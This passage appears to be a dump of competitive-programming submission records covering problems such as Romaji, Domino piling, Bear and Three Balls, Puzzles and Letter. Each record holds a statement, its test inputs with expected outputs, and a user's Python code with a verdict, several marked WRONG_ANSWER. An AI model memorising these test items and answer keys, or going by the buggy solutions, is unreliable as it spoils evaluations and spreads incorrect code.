"nnnnnyigaveteononnnnxaalenxuiiwannntoxonyoqonlejuoxuoconnnentoinnul", "output": "NO" }, { "input": "ndonneasoiunhomuunnhuitonnntunntoanerekonoupunanuauenu", "output": "YES" }, { "input": "anujemogawautiedoneobninnibonuunaoennnyoorufonxionntinimiboonununnnnnleenqunminzayoutanlalo", "output": "NO" }, { "input": "y", "output": "NO" }, { "input": "by", "output": "NO" }, { "input": "yy", "output": "NO" }, { "input": "nbn", "output": "NO" }, { "input": "nz", "output": "NO" }, { "input": "king", "output": "NO" }, { "input": "g", "output": "NO" }, { "input": "az", "output": "NO" }, { "input": "x", "output": "NO" }, { "input": "z", "output": "NO" }, { "input": "yn", "output": "NO" }, { "input": "aeo", "output": "YES" }, { "input": "nb", "output": "NO" }, { "input": "npn", "output": "NO" }, { "input": "kini", "output": "YES" }, { "input": "pya", "output": "NO" }, { "input": "m", "output": "NO" }, { "input": "p", "output": "NO" }, { "input": "aaaaaaaak", "output": "NO" }, { "input": "aab", "output": "NO" }, { "input": "d", "output": "NO" }, { "input": "at", "output": "NO" }, { "input": "aaaaaak", "output": "NO" }, { "input": "aaz", "output": "NO" }, { "input": "aaab", "output": "NO" }, { "input": "s", "output": "NO" }, { "input": "nzzen", "output": "NO" }, { "input": "aeionnhhhn", "output": "NO" }, { "input": "h", "output": "NO" }, { "input": "ny", "output": "NO" } ]
1,637,149,974
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
2
31
0
s=input() vowel=['a','e','i','o','u'] n=len(s) for i in range(n): if s[i] in vowel or s[i]=='n': continue elif s[i+1] not in vowel: print('NO') break print('YES')
Title: Romaji Time Limit: None seconds Memory Limit: None megabytes Problem Description: Vitya has just started learning Berlanese language. It is known that Berlanese uses the Latin alphabet. Vowel letters are "a", "o", "u", "i", and "e". Other letters are consonant. In Berlanese, there has to be a vowel after every consonant, but there can be any letter after any vowel. The only exception is a consonant "n"; after this letter, there can be any letter (not only a vowel) or there can be no letter at all. For example, the words "harakiri", "yupie", "man", and "nbo" are Berlanese while the words "horse", "king", "my", and "nz" are not. Help Vitya find out if a word $s$ is Berlanese. Input Specification: The first line of the input contains the string $s$ consisting of $|s|$ ($1\leq |s|\leq 100$) lowercase Latin letters. Output Specification: Print "YES" (without quotes) if there is a vowel after every consonant except "n", otherwise print "NO". You can print each letter in any case (upper or lower). Demo Input: ['sumimasen\n', 'ninja\n', 'codeforces\n'] Demo Output: ['YES\n', 'YES\n', 'NO\n'] Note: In the first and second samples, a vowel goes after each consonant except "n", so the word is Berlanese. In the third sample, the consonant "c" goes after the consonant "r", and the consonant "s" stands on the end, so the word is not Berlanese.
```python s=input() vowel=['a','e','i','o','u'] n=len(s) for i in range(n): if s[i] in vowel or s[i]=='n': continue elif s[i+1] not in vowel: print('NO') break print('YES') ```
0
50
A
Domino piling
PROGRAMMING
800
[ "greedy", "math" ]
A. Domino piling
2
256
You are given a rectangular board of *M*<=×<=*N* squares. Also you are given an unlimited number of standard domino pieces of 2<=×<=1 squares. You are allowed to rotate the pieces. You are asked to place as many dominoes as possible on the board so as to meet the following conditions: 1. Each domino completely covers two squares. 2. No two dominoes overlap. 3. Each domino lies entirely inside the board. It is allowed to touch the edges of the board. Find the maximum number of dominoes, which can be placed under these restrictions.
In a single line you are given two integers *M* and *N* — board sizes in squares (1<=≤<=*M*<=≤<=*N*<=≤<=16).
Output one number — the maximal number of dominoes, which can be placed.
[ "2 4\n", "3 3\n" ]
[ "4\n", "4\n" ]
none
500
[ { "input": "2 4", "output": "4" }, { "input": "3 3", "output": "4" }, { "input": "1 5", "output": "2" }, { "input": "1 6", "output": "3" }, { "input": "1 15", "output": "7" }, { "input": "1 16", "output": "8" }, { "input": "2 5", "output": "5" }, { "input": "2 6", "output": "6" }, { "input": "2 7", "output": "7" }, { "input": "2 14", "output": "14" }, { "input": "2 15", "output": "15" }, { "input": "1 4", "output": "2" }, { "input": "2 16", "output": "16" }, { "input": "3 5", "output": "7" }, { "input": "3 6", "output": "9" }, { "input": "3 10", "output": "15" }, { "input": "3 14", "output": "21" }, { "input": "3 15", "output": "22" }, { "input": "3 16", "output": "24" }, { "input": "5 7", "output": "17" }, { "input": "16 16", "output": "128" }, { "input": "15 16", "output": "120" }, { "input": "2 3", "output": "3" }, { "input": "15 15", "output": "112" }, { "input": "14 16", "output": "112" }, { "input": "11 13", "output": "71" }, { "input": "5 16", "output": "40" }, { "input": "8 15", "output": "60" }, { "input": "2 2", "output": "2" }, { "input": "3 4", "output": "6" }, { "input": "4 4", "output": "8" }, { "input": "1 1", "output": "0" }, { "input": "1 2", "output": "1" }, { "input": "1 3", "output": "1" }, { "input": "14 15", "output": "105" } ]
1,679,894,425
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
0
62
0
#domine m, n=map (int, input().split()) Total=(m, n//2) print(Total)
Title: Domino piling Time Limit: 2 seconds Memory Limit: 256 megabytes Problem Description: You are given a rectangular board of *M*<=×<=*N* squares. Also you are given an unlimited number of standard domino pieces of 2<=×<=1 squares. You are allowed to rotate the pieces. You are asked to place as many dominoes as possible on the board so as to meet the following conditions: 1. Each domino completely covers two squares. 2. No two dominoes overlap. 3. Each domino lies entirely inside the board. It is allowed to touch the edges of the board. Find the maximum number of dominoes, which can be placed under these restrictions. Input Specification: In a single line you are given two integers *M* and *N* — board sizes in squares (1<=≤<=*M*<=≤<=*N*<=≤<=16). Output Specification: Output one number — the maximal number of dominoes, which can be placed. Demo Input: ['2 4\n', '3 3\n'] Demo Output: ['4\n', '4\n'] Note: none
```python #domine m, n=map (int, input().split()) Total=(m, n//2) print(Total) ```
0
653
A
Bear and Three Balls
PROGRAMMING
900
[ "brute force", "implementation", "sortings" ]
null
null
Limak is a little polar bear. He has *n* balls, the *i*-th ball has size *t**i*. Limak wants to give one ball to each of his three friends. Giving gifts isn't easy — there are two rules Limak must obey to make friends happy: - No two friends can get balls of the same size. - No two friends can get balls of sizes that differ by more than 2. For example, Limak can choose balls with sizes 4, 5 and 3, or balls with sizes 90, 91 and 92. But he can't choose balls with sizes 5, 5 and 6 (two friends would get balls of the same size), and he can't choose balls with sizes 30, 31 and 33 (because sizes 30 and 33 differ by more than 2). Your task is to check whether Limak can choose three balls that satisfy conditions above.
The first line of the input contains one integer *n* (3<=≤<=*n*<=≤<=50) — the number of balls Limak has. The second line contains *n* integers *t*1,<=*t*2,<=...,<=*t**n* (1<=≤<=*t**i*<=≤<=1000) where *t**i* denotes the size of the *i*-th ball.
Print "YES" (without quotes) if Limak can choose three balls of distinct sizes, such that any two of them differ by no more than 2. Otherwise, print "NO" (without quotes).
[ "4\n18 55 16 17\n", "6\n40 41 43 44 44 44\n", "8\n5 972 3 4 1 4 970 971\n" ]
[ "YES\n", "NO\n", "YES\n" ]
In the first sample, there are 4 balls and Limak is able to choose three of them to satisfy the rules. He must must choose balls with sizes 18, 16 and 17. In the second sample, there is no way to give gifts to three friends without breaking the rules. In the third sample, there is even more than one way to choose balls: 1. Choose balls with sizes 3, 4 and 5. 1. Choose balls with sizes 972, 970, 971.
500
[ { "input": "4\n18 55 16 17", "output": "YES" }, { "input": "6\n40 41 43 44 44 44", "output": "NO" }, { "input": "8\n5 972 3 4 1 4 970 971", "output": "YES" }, { "input": "3\n959 747 656", "output": "NO" }, { "input": "4\n1 2 2 3", "output": "YES" }, { "input": "50\n998 30 384 289 505 340 872 223 663 31 929 625 864 699 735 589 676 399 745 635 963 381 75 97 324 612 597 797 103 382 25 894 219 458 337 572 201 355 294 275 278 311 586 573 965 704 936 237 715 543", "output": "NO" }, { "input": "50\n941 877 987 982 966 979 984 810 811 909 872 980 957 897 845 995 924 905 984 914 824 840 868 910 815 808 872 858 883 952 823 835 860 874 959 972 931 867 866 987 982 837 800 921 887 910 982 980 828 869", "output": "YES" }, { "input": "3\n408 410 409", "output": "YES" }, { "input": "3\n903 902 904", "output": "YES" }, { "input": "3\n399 400 398", "output": "YES" }, { "input": "3\n450 448 449", "output": "YES" }, { "input": "3\n390 389 388", "output": "YES" }, { "input": "3\n438 439 440", "output": "YES" }, { "input": "11\n488 688 490 94 564 615 641 170 489 517 669", "output": "YES" }, { "input": "24\n102 672 983 82 720 501 81 721 982 312 207 897 159 964 611 956 118 984 37 271 596 403 772 954", "output": "YES" }, { "input": "36\n175 551 70 479 875 480 979 32 465 402 640 116 76 687 874 678 359 785 753 401 978 629 162 963 886 641 39 845 132 930 2 372 478 947 407 318", "output": "YES" }, { "input": "6\n10 79 306 334 304 305", "output": "YES" }, { "input": "34\n787 62 26 683 486 364 684 891 846 801 969 837 359 800 836 359 471 637 732 91 841 836 7 799 959 405 416 841 737 803 615 483 323 365", "output": "YES" }, { "input": "30\n860 238 14 543 669 100 428 789 576 484 754 274 849 850 586 377 711 386 510 408 520 693 23 477 266 851 728 711 964 73", "output": "YES" }, { "input": "11\n325 325 324 324 324 325 325 324 324 324 324", "output": "NO" }, { "input": "7\n517 517 518 517 518 518 518", "output": "NO" }, { "input": "20\n710 710 711 711 711 711 710 710 710 710 711 710 710 710 710 710 710 711 711 710", "output": "NO" }, { "input": "48\n29 30 29 29 29 30 29 30 30 30 30 29 30 30 30 29 29 30 30 29 30 29 29 30 29 30 29 30 30 29 30 29 29 30 30 29 29 30 30 29 29 30 30 30 29 29 30 29", "output": "NO" }, { "input": "7\n880 880 514 536 881 881 879", "output": "YES" }, { "input": "15\n377 432 262 376 261 375 377 262 263 263 261 376 262 262 375", "output": "YES" }, { "input": "32\n305 426 404 961 426 425 614 304 404 425 615 403 303 304 615 303 305 405 427 614 403 303 425 615 404 304 427 403 206 616 405 404", "output": "YES" }, { "input": "41\n115 686 988 744 762 519 745 519 518 83 85 115 520 44 687 686 685 596 988 687 989 988 114 745 84 519 519 746 988 84 745 744 115 114 85 115 520 746 745 116 987", "output": "YES" }, { "input": "47\n1 2 483 28 7 109 270 651 464 162 353 521 224 989 721 499 56 69 197 716 313 446 580 645 828 197 100 138 789 499 147 677 384 711 783 937 300 543 540 93 669 604 739 122 632 822 116", "output": "NO" }, { "input": "31\n1 2 1 373 355 692 750 920 578 666 615 232 141 129 663 929 414 704 422 559 568 731 354 811 532 618 39 879 292 602 995", "output": "NO" }, { "input": "50\n5 38 41 4 15 40 27 39 20 3 44 47 30 6 36 29 35 12 19 26 10 2 21 50 11 46 48 49 17 16 33 13 32 28 31 18 23 34 7 14 24 45 9 37 1 8 42 25 43 22", "output": "YES" }, { "input": "50\n967 999 972 990 969 978 963 987 954 955 973 970 959 981 995 983 986 994 979 957 965 982 992 977 953 975 956 961 993 997 998 958 980 962 960 951 996 991 1000 966 971 988 976 968 989 984 974 964 985 952", "output": "YES" }, { "input": "50\n850 536 761 506 842 898 857 723 583 637 536 943 895 929 890 612 832 633 696 731 553 880 710 812 665 877 915 636 711 540 748 600 554 521 813 796 568 513 543 809 798 820 928 504 999 646 907 639 550 911", "output": "NO" }, { "input": "3\n3 1 2", "output": "YES" }, { "input": "3\n500 999 1000", "output": "NO" }, { "input": "10\n101 102 104 105 107 109 110 112 113 115", "output": "NO" }, { "input": "50\n1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", "output": "NO" }, { "input": "50\n1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000", "output": "NO" }, { "input": "3\n1000 999 998", "output": "YES" }, { "input": "49\n343 322 248 477 53 156 245 493 209 141 370 66 229 184 434 137 276 472 216 456 147 180 140 114 493 323 393 262 380 314 222 124 98 441 129 346 48 401 347 460 122 125 114 106 189 260 374 165 456", "output": "NO" }, { "input": "20\n1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 3 3 3 3 3", "output": "YES" }, { "input": "3\n999 999 1000", "output": "NO" }, { "input": "9\n2 4 5 13 25 100 200 300 400", "output": "NO" }, { "input": "9\n1 1 1 2 2 2 3 3 3", "output": "YES" }, { "input": "3\n1 1 2", "output": "NO" }, { "input": "3\n998 999 1000", "output": "YES" }, { "input": "12\n1 1 1 1 1 1 1 1 1 2 2 4", "output": "NO" }, { "input": "4\n4 3 4 5", "output": "YES" }, { "input": "6\n1 1 1 2 2 2", "output": "NO" }, { "input": "3\n2 3 2", "output": "NO" }, { "input": "5\n10 5 6 3 2", "output": "NO" }, { "input": "3\n1 2 1", "output": "NO" }, { "input": "3\n1 2 3", "output": "YES" }, { "input": "4\n998 999 1000 1000", "output": "YES" }, { "input": "5\n2 3 9 9 4", "output": "YES" }, { "input": "4\n1 2 4 4", "output": "NO" }, { "input": "3\n1 1 1", "output": "NO" }, { "input": "3\n2 2 3", "output": "NO" }, { "input": "7\n1 2 2 2 4 5 6", "output": "YES" }, { "input": "5\n1 3 10 3 10", "output": "NO" }, { "input": "3\n1 2 2", "output": "NO" }, { "input": "4\n1000 1000 999 998", "output": "YES" }, { "input": "3\n5 3 7", "output": "NO" }, { "input": "6\n1 1 2 2 3 3", "output": "YES" }, { "input": "9\n6 6 6 5 5 5 4 4 4", "output": "YES" }, { "input": "7\n5 6 6 6 7 7 7", "output": "YES" }, { "input": "5\n2 3 3 3 4", "output": "YES" }, { "input": "5\n2 1 2 1 3", "output": "YES" }, { "input": "3\n1 2 7", "output": "NO" }, { "input": "3\n1000 1000 1000", "output": "NO" }, { "input": "5\n1 100 2 100 3", "output": "YES" }, { "input": "5\n5 4 6 5 5", "output": "YES" }, { "input": "12\n1 1 1 1 2 2 2 2 3 3 3 3", "output": "YES" }, { "input": "5\n9 9 1 2 3", "output": "YES" }, { "input": "6\n1 2 3 1 2 3", "output": "YES" }, { "input": "7\n1 1 1 1 2 3 3", "output": "YES" }, { "input": "3\n13 13 13", "output": "NO" }, { "input": "3\n42 42 42", "output": "NO" }, { "input": "8\n1 1 1 1 2 2 2 2", "output": "NO" }, { "input": "6\n1 1 1 1 2 3", "output": "YES" }, { "input": "6\n1 1 2 2 6 6", "output": "NO" }, { "input": "6\n1 2 5 5 5 5", "output": "NO" }, { "input": "9\n1 2 3 1 2 3 1 2 3", "output": "YES" }, { "input": "4\n1 2 1 100", "output": "NO" }, { "input": "5\n1 1 2 2 3", "output": "YES" } ]
1,687,009,843
2,147,483,647
PyPy 3-64
WRONG_ANSWER
TESTS
4
61
0
# n, k = map(int, input().split()) n = int(input()) lst = list(map(int, input().split())) # n, k = map(int, '3 5'.split()) # n = int('4') # lst = list(map(int, '5 972 3 4 1 4 970 971'.split())) lst.sort() # lst_hash = {key: 1 for key in lst} def check(lst): n = len(lst) lst_diff = [lst[i + 1] - lst[i] for i in range(n - 1)] for i in range(n - 1): if sum(lst_diff[i:i + 2]) == 2: return 'YES' return 'NO' print(check(lst))
Title: Bear and Three Balls Time Limit: None seconds Memory Limit: None megabytes Problem Description: Limak is a little polar bear. He has *n* balls, the *i*-th ball has size *t**i*. Limak wants to give one ball to each of his three friends. Giving gifts isn't easy — there are two rules Limak must obey to make friends happy: - No two friends can get balls of the same size. - No two friends can get balls of sizes that differ by more than 2. For example, Limak can choose balls with sizes 4, 5 and 3, or balls with sizes 90, 91 and 92. But he can't choose balls with sizes 5, 5 and 6 (two friends would get balls of the same size), and he can't choose balls with sizes 30, 31 and 33 (because sizes 30 and 33 differ by more than 2). Your task is to check whether Limak can choose three balls that satisfy conditions above. Input Specification: The first line of the input contains one integer *n* (3<=≤<=*n*<=≤<=50) — the number of balls Limak has. The second line contains *n* integers *t*1,<=*t*2,<=...,<=*t**n* (1<=≤<=*t**i*<=≤<=1000) where *t**i* denotes the size of the *i*-th ball. Output Specification: Print "YES" (without quotes) if Limak can choose three balls of distinct sizes, such that any two of them differ by no more than 2. Otherwise, print "NO" (without quotes). Demo Input: ['4\n18 55 16 17\n', '6\n40 41 43 44 44 44\n', '8\n5 972 3 4 1 4 970 971\n'] Demo Output: ['YES\n', 'NO\n', 'YES\n'] Note: In the first sample, there are 4 balls and Limak is able to choose three of them to satisfy the rules. He must must choose balls with sizes 18, 16 and 17. In the second sample, there is no way to give gifts to three friends without breaking the rules. In the third sample, there is even more than one way to choose balls: 1. Choose balls with sizes 3, 4 and 5. 1. Choose balls with sizes 972, 970, 971.
```python # n, k = map(int, input().split()) n = int(input()) lst = list(map(int, input().split())) # n, k = map(int, '3 5'.split()) # n = int('4') # lst = list(map(int, '5 972 3 4 1 4 970 971'.split())) lst.sort() # lst_hash = {key: 1 for key in lst} def check(lst): n = len(lst) lst_diff = [lst[i + 1] - lst[i] for i in range(n - 1)] for i in range(n - 1): if sum(lst_diff[i:i + 2]) == 2: return 'YES' return 'NO' print(check(lst)) ```
0
337
A
Puzzles
PROGRAMMING
900
[ "greedy" ]
null
null
The end of the school year is near and Ms. Manana, the teacher, will soon have to say goodbye to a yet another class. She decided to prepare a goodbye present for her *n* students and give each of them a jigsaw puzzle (which, as wikipedia states, is a tiling puzzle that requires the assembly of numerous small, often oddly shaped, interlocking and tessellating pieces). The shop assistant told the teacher that there are *m* puzzles in the shop, but they might differ in difficulty and size. Specifically, the first jigsaw puzzle consists of *f*1 pieces, the second one consists of *f*2 pieces and so on. Ms. Manana doesn't want to upset the children, so she decided that the difference between the numbers of pieces in her presents must be as small as possible. Let *A* be the number of pieces in the largest puzzle that the teacher buys and *B* be the number of pieces in the smallest such puzzle. She wants to choose such *n* puzzles that *A*<=-<=*B* is minimum possible. Help the teacher and find the least possible value of *A*<=-<=*B*.
The first line contains space-separated integers *n* and *m* (2<=≤<=*n*<=≤<=*m*<=≤<=50). The second line contains *m* space-separated integers *f*1,<=*f*2,<=...,<=*f**m* (4<=≤<=*f**i*<=≤<=1000) — the quantities of pieces in the puzzles sold in the shop.
Print a single integer — the least possible difference the teacher can obtain.
[ "4 6\n10 12 10 7 5 22\n" ]
[ "5\n" ]
Sample 1. The class has 4 students. The shop sells 6 puzzles. If Ms. Manana buys the first four puzzles consisting of 10, 12, 10 and 7 pieces correspondingly, then the difference between the sizes of the largest and the smallest puzzle will be equal to 5. It is impossible to obtain a smaller difference. Note that the teacher can also buy puzzles 1, 3, 4 and 5 to obtain the difference 5.
500
[ { "input": "4 6\n10 12 10 7 5 22", "output": "5" }, { "input": "2 2\n4 4", "output": "0" }, { "input": "2 10\n4 5 6 7 8 9 10 11 12 12", "output": "0" }, { "input": "4 5\n818 136 713 59 946", "output": "759" }, { "input": "3 20\n446 852 783 313 549 965 40 88 86 617 479 118 768 34 47 826 366 957 463 903", "output": "13" }, { "input": "2 25\n782 633 152 416 432 825 115 97 386 357 836 310 530 413 354 373 847 882 913 682 729 582 671 674 94", "output": "3" }, { "input": "4 25\n226 790 628 528 114 64 239 279 619 39 894 763 763 847 525 93 882 697 999 643 650 244 159 884 190", "output": "31" }, { "input": "2 50\n971 889 628 39 253 157 925 694 129 516 660 272 738 319 611 816 142 717 514 392 41 105 132 676 958 118 306 768 600 685 103 857 704 346 857 309 23 718 618 161 176 379 846 834 640 468 952 878 164 997", "output": "0" }, { "input": "25 50\n582 146 750 905 313 509 402 21 488 512 32 898 282 64 579 869 37 996 377 929 975 697 666 837 311 205 116 992 533 298 648 268 54 479 792 595 152 69 267 417 184 433 894 603 988 712 24 414 301 176", "output": "412" }, { "input": "49 50\n58 820 826 960 271 294 473 102 925 318 729 672 244 914 796 646 868 6 893 882 726 203 528 498 271 195 355 459 721 680 547 147 631 116 169 804 145 996 133 559 110 257 771 476 576 251 607 314 427 886", "output": "938" }, { "input": "50 50\n374 573 323 744 190 806 485 247 628 336 491 606 702 321 991 678 337 579 86 240 993 208 668 686 855 205 363 177 719 249 896 919 782 434 59 647 787 996 286 216 636 212 546 903 958 559 544 126 608 993", "output": "937" }, { "input": "6 50\n6 8 7 8 5 4 4 5 7 8 6 5 7 4 7 7 7 8 6 4 6 6 8 8 7 7 8 7 5 8 5 4 4 7 8 4 4 6 6 6 8 7 4 7 6 6 5 8 4 7", "output": "0" }, { "input": "37 50\n14 5 11 17 8 20 19 16 20 11 17 20 16 9 14 14 13 18 11 20 8 8 8 5 19 17 6 18 10 20 9 7 12 6 14 17 4 4 10 13 7 4 11 6 20 19 12 12 15 19", "output": "12" }, { "input": "40 50\n4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4", "output": "0" }, { "input": "40 50\n17 20 43 26 41 37 14 8 30 35 30 24 43 8 42 9 41 50 41 35 27 32 35 43 28 36 31 16 5 7 23 16 14 29 8 39 12 16 36 18 49 39 33 37 38 6 6 27 23 17", "output": "31" }, { "input": "2 2\n1000 4", "output": "996" }, { "input": "2 3\n4 502 1000", "output": "498" }, { "input": "3 3\n4 1000 4", "output": "996" } ]
1,681,145,440
2,147,483,647
Python 3
OK
TESTS
18
92
0
m, n = map(int, input().split()) k = sorted([int(i) for i in input().split()]) tl = [] for i in range(n-m+1): tl.append(max(k[i:m+i])-min(k[i:m+i])) print(min(tl))
Title: Puzzles Time Limit: None seconds Memory Limit: None megabytes Problem Description: The end of the school year is near and Ms. Manana, the teacher, will soon have to say goodbye to a yet another class. She decided to prepare a goodbye present for her *n* students and give each of them a jigsaw puzzle (which, as wikipedia states, is a tiling puzzle that requires the assembly of numerous small, often oddly shaped, interlocking and tessellating pieces). The shop assistant told the teacher that there are *m* puzzles in the shop, but they might differ in difficulty and size. Specifically, the first jigsaw puzzle consists of *f*1 pieces, the second one consists of *f*2 pieces and so on. Ms. Manana doesn't want to upset the children, so she decided that the difference between the numbers of pieces in her presents must be as small as possible. Let *A* be the number of pieces in the largest puzzle that the teacher buys and *B* be the number of pieces in the smallest such puzzle. She wants to choose such *n* puzzles that *A*<=-<=*B* is minimum possible. Help the teacher and find the least possible value of *A*<=-<=*B*. Input Specification: The first line contains space-separated integers *n* and *m* (2<=≤<=*n*<=≤<=*m*<=≤<=50). The second line contains *m* space-separated integers *f*1,<=*f*2,<=...,<=*f**m* (4<=≤<=*f**i*<=≤<=1000) — the quantities of pieces in the puzzles sold in the shop. Output Specification: Print a single integer — the least possible difference the teacher can obtain. Demo Input: ['4 6\n10 12 10 7 5 22\n'] Demo Output: ['5\n'] Note: Sample 1. The class has 4 students. The shop sells 6 puzzles. If Ms. Manana buys the first four puzzles consisting of 10, 12, 10 and 7 pieces correspondingly, then the difference between the sizes of the largest and the smallest puzzle will be equal to 5. It is impossible to obtain a smaller difference. Note that the teacher can also buy puzzles 1, 3, 4 and 5 to obtain the difference 5.
```python m, n = map(int, input().split()) k = sorted([int(i) for i in input().split()]) tl = [] for i in range(n-m+1): tl.append(max(k[i:m+i])-min(k[i:m+i])) print(min(tl)) ```
3
43
B
Letter
PROGRAMMING
1,100
[ "implementation", "strings" ]
B. Letter
2
256
Vasya decided to write an anonymous letter cutting the letters out of a newspaper heading. He knows heading *s*1 and text *s*2 that he wants to send. Vasya can use every single heading letter no more than once. Vasya doesn't have to cut the spaces out of the heading — he just leaves some blank space to mark them. Help him; find out if he will manage to compose the needed text.
The first line contains a newspaper heading *s*1. The second line contains the letter text *s*2. *s*1 и *s*2 are non-empty lines consisting of spaces, uppercase and lowercase Latin letters, whose lengths do not exceed 200 symbols. The uppercase and lowercase letters should be differentiated. Vasya does not cut spaces out of the heading.
If Vasya can write the given anonymous letter, print YES, otherwise print NO
[ "Instead of dogging Your footsteps it disappears but you dont notice anything\nwhere is your dog\n", "Instead of dogging Your footsteps it disappears but you dont notice anything\nYour dog is upstears\n", "Instead of dogging your footsteps it disappears but you dont notice anything\nYour dog is upstears\n", "abcdefg hijk\nk j i h g f e d c b a\n" ]
[ "NO\n", "YES\n", "NO\n", "YES\n" ]
none
1,000
[ { "input": "Instead of dogging Your footsteps it disappears but you dont notice anything\nwhere is your dog", "output": "NO" }, { "input": "Instead of dogging Your footsteps it disappears but you dont notice anything\nYour dog is upstears", "output": "YES" }, { "input": "Instead of dogging your footsteps it disappears but you dont notice anything\nYour dog is upstears", "output": "NO" }, { "input": "abcdefg hijk\nk j i h g f e d c b a", "output": "YES" }, { "input": "HpOKgo\neAtAVB", "output": "NO" }, { "input": "GRZGc\nLPzD", "output": "NO" }, { "input": "GtPXu\nd", "output": "NO" }, { "input": "FVF\nr ", "output": "NO" }, { "input": "HpOKgo\nogK", "output": "YES" }, { "input": "GRZGc\nZG", "output": "YES" }, { "input": "HpOKgoueAtAVBdGffvQheJDejNDHhhwyKJisugiRAH OseK yUwqPPNuThUxTfthqIUeb wS jChGOdFDarNrKRT MlwKecxWNoKEeD BbiHAruE XMlvKYVsJGPP\nAHN XvoaNwV AVBKwKjr u U K wKE D K Jy KiHsR h d W Js IHyMPK Br iSqe E fDA g H", "output": "YES" }, { "input": "GRZGcsLPzDrCSXhhNTaibJqVphhjbcPoZhCDUlzAbDnRWjHvxLKtpGiFWiGbfeDxBwCrdJmJGCGv GebAOinUsFrlqKTILOmxrFjSpEoVGoTdSSstJWVgMLKMPettxHASaQZNdOIObcTxtF qTHWBdNIKwj\nWqrxze Ji x q aT GllLrRV jMpGiMDTwwS JDsPGpAZKACmsFCOS CD Sj bCDgKF jJxa RddtLFAi VGLHH SecObzG q hPF ", "output": "YES" }, { "input": "GtPXuwdAxNhODQbjRslDDKciOALJrCifTjDQurQEBeFUUSZWwCZQPdYwZkYbrduMijFjgodAOrKIuUKwSXageZuOWMIhAMexyLRzFuzuXqBDTEaWMzVdbzhxDGSJC SsIYuYILwpiwwcObEHWpFvHeBkWYNitqYrxqgHReHcKnHbtjcWZuaxPBVPb\nTQIKyqFaewOkY lZUOOuxEw EwuKcArxRQGFYkvVWIAe SuanPeHuDjquurJu aSxwgOSw jYMwjxItNUUArQjO BIujAhSwttLWp", "output": "YES" }, { "input": "FVFSr unvtXbpKWF vPaAgNaoTqklzVqiGYcUcBIcattzBrRuNSnKUtmdGKbjcE\nUzrU K an GFGR Wc zt iBa P c T K v p V In b B c", "output": "YES" }, { "input": "lSwjnYLYtDNIZjxHiTawdh ntSzggZogcIZTuiTMWVgwyloMtEhqkrOxgIcFvwvsboXUPILPIymFAEXnhApewJXJNtFyZ\nAoxe jWZ u yImg o AZ FNI w lpj tNhT g y ZYcb rc J w Dlv", "output": "YES" }, { "input": "kvlekcdJqODUKdsJlXkRaileTmdGwUHWWgvgUokQxRzzbpFnswvNKiDnjfOFGvFcnaaiRnBGQmqoPxDHepgYasLhzjDgmvaFfVNEcSPVQCJKAbSyTGpXsAjIHr\nGjzUllNaGGKXUdYmDFpqFAKIwvTpjmqnyswWRTnxlBnavAGvavxJemrjvRJc", "output": "YES" }, { "input": "kWbvhgvvoYOhwXmgTwOSCDXrtFHhqwvMlCvsuuAUXMmWaYXiqHplFZZemhgkTuvsUtIaUxtyYauBIpjdbyYxjZ ZkaBPzwqPfqF kCqGRmXvWuabnQognnkvdNDtRUsSUvSzgBuxCMBWJifbxWegsknp\nBsH bWHJD n Ca T xq PRCv tatn Wjy sm I q s WCjFqdWe t W XUs Do eb Pfh ii hTbF O Fll", "output": "YES" }, { "input": "OTmLdkMhmDEOMQMiW ZpzEIjyElHFrNCfFQDp SZyoZaEIUIpyCHfwOUqiSkKtFHggrTBGkqfOxkChPztmPrsHoxVwAdrxbZLKxPXHlMnrkgMgiaHFopiFFiUEtKwCjpJtwdwkbJCgA bxeDIscFdmHQJLAMNhWlrZisQrHQpvbALWTwpf jnx\nDbZwrQbydCdkJMCrftiwtPFfpMiwwrfIrKidEChKECxQUBVUEfFirbGWiLkFQkdJiFtkrtkbIAEXCEDkwLpK", "output": "YES" }, { "input": "NwcGaIeSkOva\naIa", "output": "YES" }, { "input": "gSrAcVYgAdbdayzbKGhIzLDjyznLRIJH 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"KRmINuyBYPwiTsdlyiNVuylToysJKmOpcLovAtwGPqrgFJQNAYvuAiyQRkeFMECVZvkDEmTauXlyjAaYRnTJXORMZRnTakBaUzSelMilejySDIZjQjzcOIrwXdvDvpeRIkoBgreyFXIyyIZutjiEBtwrmzQtPVUhvvdEtDMbXjBpoPVjGdM EXTAK JbCnw\nXZZqlJvzKKtvdNlzFPDTYxidqlsgufVzyEmO FZuLQ vVQsJESNviUCovCK NwwlbxsmPtOJNmAonCqrOZ bZ LVKAsQGmoLnYjeekvEIECFk", "output": "NO" } ]
1,475,467,866
2,147,483,647
Python 3
OK
TESTS
30
154
0
text = input() letter = input() text = text.replace(" ", "") letter = letter.replace(" ", "") newText = [] for i in range(len(text)): newText.append(text[i]) out = "NO" for i in range(len(letter)): its = "NO" for x in range(len(newText)): if(letter[i] == newText[x]): newText[x] = "0" its = "YES" break if(x == (len(newText) - 1) and its == "NO"): out = "YES" break if(out == "YES"): print("NO") break if(out == "NO"): print("YES")
Title: Letter Time Limit: 2 seconds Memory Limit: 256 megabytes Problem Description: Vasya decided to write an anonymous letter cutting the letters out of a newspaper heading. He knows heading *s*1 and text *s*2 that he wants to send. Vasya can use every single heading letter no more than once. Vasya doesn't have to cut the spaces out of the heading — he just leaves some blank space to mark them. Help him; find out if he will manage to compose the needed text. Input Specification: The first line contains a newspaper heading *s*1. The second line contains the letter text *s*2. *s*1 и *s*2 are non-empty lines consisting of spaces, uppercase and lowercase Latin letters, whose lengths do not exceed 200 symbols. The uppercase and lowercase letters should be differentiated. Vasya does not cut spaces out of the heading. Output Specification: If Vasya can write the given anonymous letter, print YES, otherwise print NO Demo Input: ['Instead of dogging Your footsteps it disappears but you dont notice anything\nwhere is your dog\n', 'Instead of dogging Your footsteps it disappears but you dont notice anything\nYour dog is upstears\n', 'Instead of dogging your 